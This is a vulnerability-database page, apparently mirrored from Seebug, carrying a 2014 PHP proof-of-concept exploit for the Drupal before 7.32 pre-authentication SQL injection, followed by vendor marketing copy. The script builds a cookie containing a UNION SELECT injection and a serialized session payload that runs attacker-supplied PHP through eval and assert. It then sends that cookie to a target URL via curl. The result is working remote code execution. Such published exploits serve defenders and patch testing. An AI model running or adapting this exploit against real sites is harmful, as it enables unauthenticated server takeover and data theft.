Lucene search
K

Drupal < 7.32 Pre Auth SQL Injection

🗓️ 13 Nov 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 30 Views

Drupal < 7.32 Pre Auth SQL Injection Poc 201

Code

                                                &lt;?php
//    _____      __   __  _             _______
//   / ___/___  / /__/ /_(_)___  ____  / ____(_)___  _____
//   \__ \/ _ \/ //_/ __/ / __ \/ __ \/ __/ / / __ \/ ___/
//  ___/ /  __/ ,&lt; / /_/ / /_/ / / / / /___/ / / / (__  )
// /____/\___/_/|_|\__/_/\____/_/ /_/_____/_/_/ /_/____/
// Poc for Drupal Pre Auth SQL Injection - (c) 2014 SektionEins
//
// created by Stefan Horst &lt;[email protected]&gt;
//        and Stefan Esser &lt;[email protected]&gt;
//·
 
include 'common.inc';
include 'password.inc';
 
// set values
$user_id = 0;
$user_name = '';
 
$code_inject = 'phpinfo();session_destroy();die(&quot;&quot;);';
 
$url = isset($argv[1])?$argv[1]:'';
$code = isset($argv[2])?$argv[2]:'';
 
if ($url == '-h') {
      echo &quot;usage:\n&quot;;
      echo $argv[0].' $url [$code|$file]'.&quot;\n&quot;;
      die();
}
 
if (empty($url) || strpos($url,'https') === False) {
      echo &quot;please state the cookie url. It works only with https urls.\n&quot;;
      die();
}
 
if (!empty($code)) {
      if (is_file($code)) {
              $code_inject = str_replace('&lt;'.'?','',str_replace('&lt;'.'?php','',str_replace('?'.'&gt;','',file_get_contents($code))));
      } else {
              $code_inject = $code;
      }
}
 
$code_inject = rtrim($code_inject,';');
$code_inject .= ';session_destroy();die(&quot;&quot;);';
 
if (strpos($url, 'www.') === 0) {
      $url = substr($url, 4);
}
 
$_SESSION= array('a'=&gt;'eval(base64_decode(&quot;'.base64_encode($code_inject).'&quot;))','build_info' =&gt; array(), 'wrapper_callback' =&gt; 'form_execute_handlers', '#Array' =&gt; array('array_filter'), 'string' =&gt; 'assert');
$_SESSION['build_info']['args'][0] = &amp;$_SESSION['string'];
 
list( , $session_name) = explode('://', $url, 2);
 
// use insecure cookie with sql inj.
$cookieName = 'SESS' . substr(hash('sha256', $session_name), 0, 32);
$password = user_hash_password('test');
 
$session_id = drupal_random_key();
$sec_ssid = drupal_random_key();
 
$serial = str_replace('}','CURLYCLOSE',str_replace('{','CURLYOPEN',&quot;batch_form_state|&quot;.serialize($_SESSION)));
$inject = &quot;UNION SELECT $user_id,'$user_name','$password','','','',null,0,0,0,1,null,'',0,'',null,$user_id,'$session_id','','127.0.0.1',0,0,REPLACE(REPLACE('&quot;.$serial.&quot;','CURLYCLOSE',CHAR(&quot;.ord('}').&quot;)),'CURLYOPEN',CHAR(&quot;.ord('{').&quot;)) -- &quot;;
 
$cookie = $cookieName.'[test+'.urlencode($inject).']='.$session_id.'; '.$cookieName.'[test]='.$session_id.'; S'.$cookieName.'='.$sec_ssid;
 
$ch = curl_init($url);
 
curl_setopt($ch,CURLOPT_HEADER,True);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,True);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,False);
curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko/20100101 Firefox/34.0');
 
curl_setopt($ch,CURLOPT_HTTPHEADER,array(
      'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
      'Accept-Language: en-US,en;q=0.5'
));
 
curl_setopt($ch,CURLOPT_COOKIE,$cookie);
 
$output = curl_exec($ch);
 
curl_close($ch);
 
echo $output;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation